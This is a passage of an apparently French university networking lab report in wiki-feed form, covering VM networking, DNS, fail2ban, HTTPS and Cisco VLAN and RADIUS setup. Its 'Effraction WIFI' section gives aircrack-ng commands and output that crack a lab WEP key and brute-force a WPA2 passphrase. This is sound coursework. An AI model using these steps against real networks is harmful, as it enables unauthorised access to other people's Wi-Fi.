auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut '''redémarrer''' la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l'interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de '''synchroniser l'heure''' du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec '''iptables''', et consiste à donne une adresse IPv4 qui permet d'accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les '''trois VMs''' on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite '''redémarrer''' le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La '''redirection du port ssh''' ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être '''décommentée''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d'avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut '''commenter''' tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour '''restart''' le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour '''lancer le service''' il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef '''deadpool.tech.key''' et les certificats '''GandiCert.pem''' et '''deadpool.tech.crt''' (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12267</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12267"/>
		<updated>2026-02-15T11:18:12Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
